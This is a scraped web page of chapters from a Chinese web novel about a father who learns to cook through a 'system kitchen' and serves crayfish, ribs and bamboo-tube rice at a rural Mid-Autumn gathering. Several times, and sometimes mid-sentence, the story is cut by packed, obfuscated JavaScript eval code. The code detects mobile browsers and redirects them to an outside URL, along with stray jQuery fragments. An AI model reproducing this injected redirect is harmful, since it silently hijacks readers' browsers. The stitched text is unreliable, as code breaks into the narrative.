l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630389|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二禾聊了会就直接邀请他中午留下来吃饭。 “行。”二禾说完就要起身去买酒，压根不给楚易文拒绝的时间。 小龙虾和螃蟹清洗起来挺费时间，尤其是小龙虾，又得用刷子刷，还得去头去虾线，中午吃肯定来不及。 最终午餐就是竹筒饭，五花肉炒笋子、栗子烧鸡、香菇炒青菜、蜜汁排骨、鲫鱼豆腐汤、清蒸大闸蟹。 这么多菜里，竹筒饭、五花肉炒笋、栗子烧鸡、香菇炒青菜、蜜汁排骨是楚易文做的，鲫鱼豆腐汤是表姨奶做的，清蒸大闸蟹则是由二禾这位专业卖蟹人士蒸的。 “行啊文哥，你这菜做得比外面大酒店的还好，以前怎么没发现你还有这个手艺。” 二禾望着桌上色香味俱全的菜，觉得他文哥是真厉害，会读书，会赚钱，现在连饭都会做，感觉就没有他不会的事。 表姨奶也夸个不停，直说今天这菜烧得比昨天还好。 跟他们比起来，楚瑾钰心里只有竹筒饭，闻着香味已经迫不及待想打开看看。楚易文察觉到儿子的视线，让他把菜刀拿过来，随即握着刀背开始敲竹筒。 随即竹筒被敲出裂缝，里面的糯米饭伴随一阵浓郁香味展露出来。糯米吸收腊肉的油脂，显得晶莹剔透，红润的腊肉丁、绿色的毛豆米、褐色的香菇丁、橙红色的胡萝卜，各种颜色的食材组成一幅特别漂亮的画卷，卖相特别诱人。 “哇塞！”二禾本来以为他只是随便做着玩玩，没想到竹筒饭做出来竟然如此诱人，不由发出真心实意的惊叹，觉得这饭真是看着就好吃。 楚瑾钰深吸一口气，觉得这竹筒饭也太香了，在色与香的双重诱惑下，嘴巴里已经开始疯狂分泌口水。 开饭后，他仗着自己年纪小，桌上大家都让他，没像大家一样把糯米饭盛到碗里吃，而是直接放在竹筒里吃。 竹筒饭不光闻起来香，吃起来更香，那咸鲜中透着清爽的滋味，吃得楚瑾钰嘴巴都停不下来。 “怎么样？”楚易文语气含笑。 “好吃，没想到爸你竟然还真会做竹筒饭。”楚瑾钰夸完，下一句却带着点小怨气，“山上那么多竹子，之前回老家时都不见你做。” 他说完想到什么，左手掏出手机对着竹筒饭一通拍，显然是忙着享受美食的同时还没忘记跟朋友炫耀。 “你还说呢，我跟你爸都认识三十多年，这还是第一次知道他还有这个手艺。”二禾说完招呼他们吃螃蟹，说螃蟹得趁热吃才好吃，不然冷了会腥。 中秋本来就是吃螃蟹的好时候，楚易文很是捧场，拿起个螃蟹边拆边夸：“你这螃蟹养得真不错，蟹黄蟹肉都特别饱满。” 他之前学蟹黄汤包时拆蟹都拆成熟手，这会三下五除二就把蟹黄蟹肉吃进嘴里，蟹黄鲜美微沙的口感，和蟹肉细腻鲜香的滋味，吃得他直点头。 “行啊你，吃螃蟹还挺厉害。”二禾看到他吃螃蟹的手法，觉得人跟人真是没法比，有些人就是做什么事都厉害。 12.第12章 楚易文和二禾两个老朋友边吃螃蟹边闲聊时，旁边楚瑾钰也没闲着，右手握着筷子哐哐往嘴里干饭，左手握着手机在群里分享美食照片和吃后感。 光是用竹筒这个容器蒸米饭就很吸引人，更别说竹筒内的糯米饭看起来还如此诱人。他几张照片发出去，直接把叶其林他们馋到，尤其是胡一齐，甚至喊着要过来找楚瑾钰一起吃。 【等你过来估计只剩竹筒了，没办法，里面饭太好吃了，香香糯糯，而且带着竹子香……】 胡一齐看看照片再看看他描述，口水都快掉下来，知道过去吃不现实，直接在外卖上搜索起来，可惜外卖上并没有竹筒饭卖。 馋人这种事，当然是对方越馋越有成就感，得知他被馋到上外卖搜竹筒饭，楚瑾钰又把桌上其他美食拍下来发出去。 胡一齐他们三个家庭条件都很好，今天中秋节，中午要么是家里阿姨做的大餐，要么是直接在酒店吃饭。但此时对比楚瑾钰发过来的图片，他们却感觉自己面前精致摆盘的菜肴一点都不香。 【老家有什么好玩的，你快回来吧，回来我请你吃帝王蟹［图片］】叶其林正跟家里人在酒店吃饭，看到楚瑾钰在老家过得那么潇洒，哪受得了。 楚瑾钰直接啪啪啪打字【帝王蟹有什么好吃的，看看这盘栗子烧鸡，栗子是在山上现摘的，鸡是上午现杀的农家走地鸡，再配上农家柴火灶，烧出来的那叫一个香，鸡肉软烂脱骨，栗子吸收汤汁，吃起来比肉还香……不行，没空跟你们说了，实在太香了，我得专心吃饭去，晚上再聊。】 他是懂怎么馋人的，这一通描述下来，可把胡一齐他们馋得不行，最终没忍住在群里一起骂他缺德。 楚瑾钰并没有在夸张，放下手机就专心开始吃饭，竹筒饭本身就已经很香，他再夹点栗子烧鸡配上一起吃，更是香到差点没咬到舌头。鸡肉的脂香混合栗子的甜香，咸鲜中带着淡淡回甘，直接吃好吃，配上糯米饭一起吃，口感更加丰富，而且吃得人特别满足。 别说他，就连二禾刚开始还要拉着楚易文聊天，等把桌上所有菜尝过一遍，不知不觉就安静下来，显然是嘴巴忙着吃菜，压根顾不上说话。 笋子是个很吃油的食材，要下油才好吃，用五花肉搭配一起炒，简直就是绝配。五花肉煸炒出油，整体呈现金黄色，笋子则是淡淡黄色，一深一浅搭配在一起，颜色特别漂亮，吃起来更是香，五花肉的油脂和笋的清香交织在一起，脆嫩爽口中带着肉鲜味，味道特别有层次感。 “笋子年年吃，本来都感觉有点吃腻了，今年甚至都懒得上山挖，但文哥你做的这个笋也太好吃了，感觉我以前吃的都是假笋。”二禾就着五花肉炒笋干掉半碗饭后，没忍住再次开口。 不光他这样觉得，表姨奶夫妻二人同样觉得今天的五花肉炒笋格外好吃。乡下人靠山吃山，二位老人每年都会去山上挖笋，家里晒的笋干都放到吃不完，但还是头一次发现笋还能炒得这么香。 “喜欢吃多吃点，再尝尝这个蜜汁排骨，蜂蜜是我跟人买的土蜂蜜，烧出来的排骨很香。” 上次买了八瓶蜂蜜，楚易文想着蜜蜂是好东西，特意带了两瓶回来送给表姨奶他们，现在正好用上。 用农家土灶烧出来的蜜汁排骨锅气更加浓郁，排骨表面裹着的那层琥珀色蜜汁看着特别诱人。 二禾伸出筷子夹起一块，蜂蜜产生的焦糖香混着肉香扑鼻而来，咀嚼间先尝到蜂蜜的甜润，然后就是排骨的咸鲜，咬开表面那层微脆的焦糖，里面肉带着微微汁水感，甜咸适中的滋味，令人回味无穷。 蜂蜜的甜是清甜，让这道蜜汁排骨吃起来甜而不腻，二禾连着吃几块才开口夸起来：“好吃，我不是说假话，文哥你这手艺，去开酒店都没问题。” 农家灶台的锅很大，炒出来的菜分量自然不小，可即便如此，午饭结束时楚易文做的那几道菜还是全部被吃光，桌上只剩下不是他做的鲫鱼豆腐汤和清蒸大闸蟹。 “光顾着吃菜了，都没好好跟你喝两杯。”二禾摸着脑袋笑得有些不好意思，只能趁现在端起杯子跟他碰一个。 菜好吃到忘记喝酒，是对厨师最好的夸赞，楚易文听到这话很有成就感，端起酒杯将里面啤酒一饮而尽。 今天是中秋节，二禾还得回家和家里人过节，因此杯子里酒喝完没有多待。他走之前，楚易文硬是塞给他一盒月饼，并起身送他往外走。 他去送客时，表姨奶开始给家里大黄狗准备狗饭。附近如今只住她家一户人家，平常她家大黄都是散养，然而今天中午可能是菜太香，大黄闻见味兴奋得不行，一直围着人打转试图讨食。 表姨奶怕它打扰人吃饭，就暂时将它栓在外面的狗窝里，现在拿鱼汤拌饭准备送给它吃。 乡下养的大黄狗不挑食，给什么吃什么，不过今天饭盆放到面前，大黄却是嗅闻好半天都不吃。 “赶紧吃。” 表姨奶话落的同时，楚瑾钰不知从哪拿个碗溜溜达达过来，将碗里东西倒进狗盆里。 大黄闻见味尾巴摇得飞快，吐着舌头冲他叫两声才低头大口吃起来，吃得那叫一个香。 “你还给它留菜了？”表姨奶望着盆里的五花肉、排骨、鸡肉，表情惊讶中带着点笑意。 她倒是没说楚瑾钰不该留，反而感受到他对自家大黄的喜爱，不由提议：“你喜欢的话，要不从村里抱只小狗回家自己养。” 楚瑾钰蹲下来看大黄吃饭，还顺手摸摸它狗头，见它完全没有护食反应，甚至边咀嚼边蹭蹭自己手，一副忙得不行的样子，越看越喜欢。 不过听到表姨奶让他养狗，他却是下意识摇头：“算了，我怕养不好。” “乡下土狗好养活……” 表姨奶话还没说完，旁边表姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633978|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷插话道：“他还是个学生，这会要好好读书，狗什么时候不能养。” 表姨奶想想觉得也是，没再说什么，转身去忙活其他事去。 两位老人回屋休息时，送完朋友回来的楚易文望着自家正在跟狗玩的儿子，本来准备提醒他写作业，但想到今天是中秋节，最终还是没扫兴。 今天准备午餐时，他又收获不少菜谱，有红烧排骨、大闸蟹和小龙虾。左右闲着也是闲着，他决定去系统厨房把菜谱给学掉，正好晚餐时能把小龙虾做出来。 “我去睡个午觉，你就在附近玩，别跑远了，也别自己去水边听见没？”回房间前，楚易文不忘对着儿子交代几句。 “我又不是三岁……”楚瑾钰无语地嘀咕完，还是带着几分敷衍回了句，“知道了。” 小龙虾好吃，但自己做却是很麻烦，楚易文进入系统厨房时对着满满一大盆张牙舞爪的小龙虾，都有点后悔选择先学这个。 老爷子教过一遍怎么清理小龙虾后就在旁边看着，见他还是被虾钳给夹到，张嘴就是一句：“活该。” 楚易文能怎么办，只能当没听见，然后将气都发在小龙虾上，握着刷子对它们好一通刷，刷干净再拿剪刀去虾头。 小龙虾食谱还挺丰富，有好几种口味做法，老爷子从最经典的麻辣小龙虾先开始教起。 “六成油温，先将虾子炸一遍，注意用中大火……” 老爷子动作是真麻利，说话的功夫小龙虾已经下锅，快速在油锅中过不到一分钟，炸成漂亮的红色就被立刻捞出来。 楚易文每次看他做菜心里就油然而生起一股佩服，觉得怎么有人能做个菜做到如此……他不怎么怎么形容，非要说的话大概就是行云流水，特别流畅。好像他做菜完全不用思考，每个步骤都特别自然。 “发什么呆，好好看，看仔细。”老爷子明明在做菜，却能在他略一分神时立刻发现，这一心二用的本事确实厉害。 一份麻辣小龙虾很快出锅，油润透亮的小龙虾闪耀着诱人的光芒，看起来像是会发光一样。那股霸道的麻辣香气混合虾本身的鲜味，再配上啤酒酒精挥发后留下来的麦芽清香，特别有层次感。 这色，这香，放到谁面前都扛不住，楚易文明明中午吃得挺饱，现在却是又感觉饿了，直接上手就开始吃。 入口先尝到汤汁强烈的麻辣味，霸道的麻与辣两种口味瞬间唤醒味蕾，而麻辣之下则是醇美的酱香底味，等到虾肉入口，紧实弹牙的虾与汤汁的麻辣咸鲜融合在一起，咀嚼间余味回甘。啤酒的加入不光能为小龙虾去腥，残留的麦芽香淡淡甜味平衡了麻辣的刺激，同时为小龙虾带来若有若无的清香，令人回味无穷。 楚易文以前小龙虾吃得不多，倒不是他不爱吃，而是嫌麻烦。但此时此刻，他却觉得如果是面前这种档次的小龙虾，那他就是吃一大盆都不会嫌麻烦。 13.第13章 “吃吃吃，你就知道吃。”老爷子看到他吃起来没完没了，抬手敲着案板。 “没办法，谁让您这小龙虾做得太好吃，根本停不下来。” 都说伸手不打笑脸人，何况楚易文连敬语都用上，他话落，老爷子轻哼两声，提醒他吃快点，别磨磨唧唧。 楚易文也不是白吃的，他在吃虾时认真品味了一下汤汁的调味，对比刚刚老爷子下调料时的配比，脑海中复盘各种细节。 不得不说，他能从一个厨房小白，到如今能做出几道色香味俱全谁吃都夸好的拿手菜，除了系统提供的师父给力外，还有他自己愿意动脑子，态度更是认真的缘故。 终于解决整份小龙虾，楚易文回味着唇齿间残留的余香，洗干净手开始亲自动手尝试做麻辣小龙虾。 同样是炸虾，老爷子刚刚那叫一个游刃有余，到他这就显得有点手忙脚乱。重复尝试几次，他才终于把握好火候，炸出一盆红彤彤，颜色看起来很漂亮的小龙虾。 麻辣小龙虾的麻源自于花椒，小龙虾炸好放在旁边备用，楚易文开始转小火炒花椒，花椒香味被爆出来时，又香又有些呛人。 “咳咳……” 楚易文偏过头轻咳两声，在麻香味炒出来后又依次往锅里下入干辣椒、葱、姜、蒜等食材以及豆瓣酱，等到红油被炒出来，一股麻辣中带着酱香的气息源源不断从锅里飘出来。 “下虾。”老爷子见他再炒就要炒过头，还是没忍住开口提醒。 楚易文赶紧将小龙虾倒入锅中，轻轻几个翻炒，虾身上立刻裹满红油与调料，鲜味逐渐开始飘出来。 他做得很认真，但当小龙虾出锅，老爷子却是尝都没尝就直接表示不合格，让他重做。 有个要求严格的老师是好事，别管楚易文在系统厨房有多手忙脚乱，但在他通过及格标准出来时，做起菜特别有范，完全看不出他是新学的。 “小文真厉害，连小龙虾都会做。” “是啊，这东西送给我我都不知道怎么吃。” 这不，晚上楚易文开始烧小龙虾时，表姨奶夫妻二人看着他一副大厨风范站在灶台前，都忍不住夸他。 下午帮忙洗龙虾，被虾钳子夹了几下的楚瑾钰心里正咬牙切齿地想着要多吃几个虾报仇，听到两位老人的话，再闻着从锅里飘出来的香味，感觉味道应该会好吃，觉得这样的话自己倒是不算白被夹。 “其实没那么复杂，用现成的火锅底料也能做。”楚易文边翻炒小龙虾边说。 中午二禾买回来的啤酒没怎么喝，现在倒是正好能用上，他说完打开两罐啤酒倒入锅中，随即开始盖上盖收汁。 “还是算了，又要洗又要杀，太麻烦了。”表姨奶摇摇头，觉得反正她是不会自己去买这玩意回来烧。 由于有两位老人在，楚易文没把小龙虾做得太辣，将锅盖焖上就开始去旁边那个小锅里开始做红烧排骨。 红烧排骨同样是他下午现学的，先将排骨焯水去腥，随即往锅里下入冰糖开始炒糖色。在楚瑾钰看来，他爸往灶台前一站，特别有大厨风采，实际上对楚易文来说，他在厨艺这条路上要学得还很多。 冰糖在锅里融化时，楚易文专注地盯着锅底，看着糖稀从大泡变小泡，颜色逐渐变成琥珀色时，迅速将排骨下入锅中进行翻炒。柴火灶火候本来就不容易掌握，这一步他是真半点不敢慢，不然糖要是炒焦了导致肉发苦，那根本没法吃。 “糖色炒得真好看。”看到他连炒糖色都会，表姨奶想到自己家里上到老子下到小子都只会吃干饭，开始用看别人家儿子的眼神看着他。 楚易文其实感觉这糖色炒得没有在系统厨房里那么好，不过他没说出来，毕竟有时候谦虚多了别人还当他是在凡尔赛。 糖色炒好时带着焦糖香的肉鲜味从锅里飘出来，闻起来已经有点诱人，等到葱、姜、蒜、八角、桂皮之类下锅，再加入生抽、老抽和水开始炖上时，那股肉鲜味简直越炖越浓郁。 中秋节的晚餐比午饭还要丰盛，有满满两大盆红彤彤的麻辣小龙虾，有红亮诱人的红烧排骨，有如碎玉镶金的辣椒炒鸡蛋，有用走地鸡炖的小鸡炖蘑菇，还有菜园里现摘的黄瓜做的拍黄瓜，下酒又下饭的蜜汁香辣小鱼干，炒青菜，以及中午没吃完的大闸蟹。 “看着就好吃！” 楚瑾钰望着桌上那些菜，还没吃就兴奋起来，如果不是还记得点礼貌要等人一起吃，都想直接上手先尝两口。 不能立刻吃，他干脆拍了几张照片发到群里去馋人，惹得叶其林他们纷纷骂他无聊。 某方面来说，楚瑾钰在老家确实无聊，谁让附近网不好，他打个游戏网能卡死人，没得玩的他可不就只能在群里撩拨朋友玩。 【这麻辣小龙虾也是你爸自己做的？怎么看着比外面卖的还好香，你确定不是从外面打包回来的？】 【你爸怎么什么都会做啊？看得我口水都要下来了……】 【红烧排骨看起来真诱人，我也想吃，给我留点。】 楚瑾钰馋完群里几个朋友，自己倒是放下手机就开吃起来，实在有点缺德。 开饭后，他想都不想先朝麻辣小龙虾伸手，还没吃就被那股麻辣鲜香的味道馋得不行，低头轻吮一口虾壳上的汤，感觉味蕾瞬间就被唤醒，有种食欲大开的感觉。 楚瑾钰迫不及待剥开虾壳，里面虾肉更是格外鲜嫩有弹性，尤其是在汤里滚一圈再吃，那叫一个鲜。 刚从塘里现捞出来的小龙虾鲜活饱满，再配上楚易文的手艺，这道麻辣鲜香的小龙虾别说楚瑾钰吃得停不下来，就连表姨奶他们两位老人都扛不住它的诱惑。 小龙虾出锅前，表姨奶嘴上没说，心里却觉得就这没什么肉的东西要下那么多料去做，还要倒啤酒进去煮，实在太浪费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640086|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。甚至有些不理解，现在年轻人怎么会爱吃壳比肉多的小龙虾。 然而等到开饭，桌上却是就数小龙虾那耀眼的红色最吸引人，同时它的香味也最霸道，不用刻意去闻，那股麻辣鲜香的气息就直往人鼻子里钻，诱惑得人不自觉朝它伸手。 表姨奶不是很会吃虾，就直接送进嘴里慢慢咬，可即便如此，依旧被那股麻、辣、咸、鲜、香的滋味给惊艳到。 老年人味觉退化，本来口味就重，小龙虾这种重口味美食对他们来说，那简直是不吃还好，一吃根本停不下来。 两位老人专心研究吃小龙虾时，楚瑾钰却是吃着嘴里望着盘子里，左手刚丢下咬过的虾钳，右手握着筷子夹起块红烧排骨。 楚易文对今天排骨的糖色不太满意，但其实这道红烧排骨整体颜色还是挺漂亮，浓稠的汤汁挂在排骨上，看起来红润油亮，令人特别有食欲。 经过炖煮，猪肉香味被完全激发出来，肉香中带着焦糖的甜香，酱油的酱香，以及八角桂皮等香料的辛香，几种香味融合在一起，组成一种带着复合气息的肉香，闻起来令人陶醉。 楚易文轻轻一咬，肉直接从骨头上脱下来，带着点肥肉的肋排吃起来却是一点都不腻，反而特别香，咀嚼间口感烂而不柴。 跟之前的蜜汁排骨比起来，红烧排骨整体偏咸鲜中带着微甜，它的甜味来自炒糖色，相对来说甜味没蜜汁排骨那么重，吃起来肉鲜味十足。 麻辣小龙虾好吃，但它肉是真少，辛辛苦苦剥完壳，吃进嘴里根本没多少肉，有种吃多少都不够的感觉。对比起来，还是红烧排骨能给人大口吃肉的满足感，楚瑾钰握着筷子连吃几口排骨，随即才继续剥虾吃。 不得不说，吃几口咸鲜微甜的红烧排骨，再来点麻辣鲜香的小龙虾，中间来口米饭或者青菜，简直不要太享受。 太好吃了！ 楚瑾钰吃得一脸满足，感觉吃上这么顿饭菜，简直这辈子都值了。 他是吃高兴了，手机群里，胡一齐却是被他发出来的照片馋得不行，甚至试图喊叶其林两个人一起去找他。 【那小子回老家潇洒就算了，还天天发照片馋人，这你们忍得了？要不咱们去找他吧，找到后先揍一顿，再把他好吃的全抢走……】 眼见胡一齐越说越激动，叶其林让他别闹，并表示不就是红烧排骨、小龙虾，他要真想吃，自己请他吃。 【外面卖的又不好吃，老四那可是用柴火灶做的，看照片就知道肯定特别好吃，那红烧排骨简直在散发金黄，你们真的不想吃吗？】 【什么金黄，你也太夸张了，那明明是灯下油在反光，你要实在想吃，等他回来你去他家蹭饭也不迟。】 叶其林消息发出去，商时贸也跟着回了一条，表示这么突然去楚瑾钰老家不礼貌，最终打消胡一齐去找他的念头，变成在群里“祝福”楚瑾钰国庆胖十斤。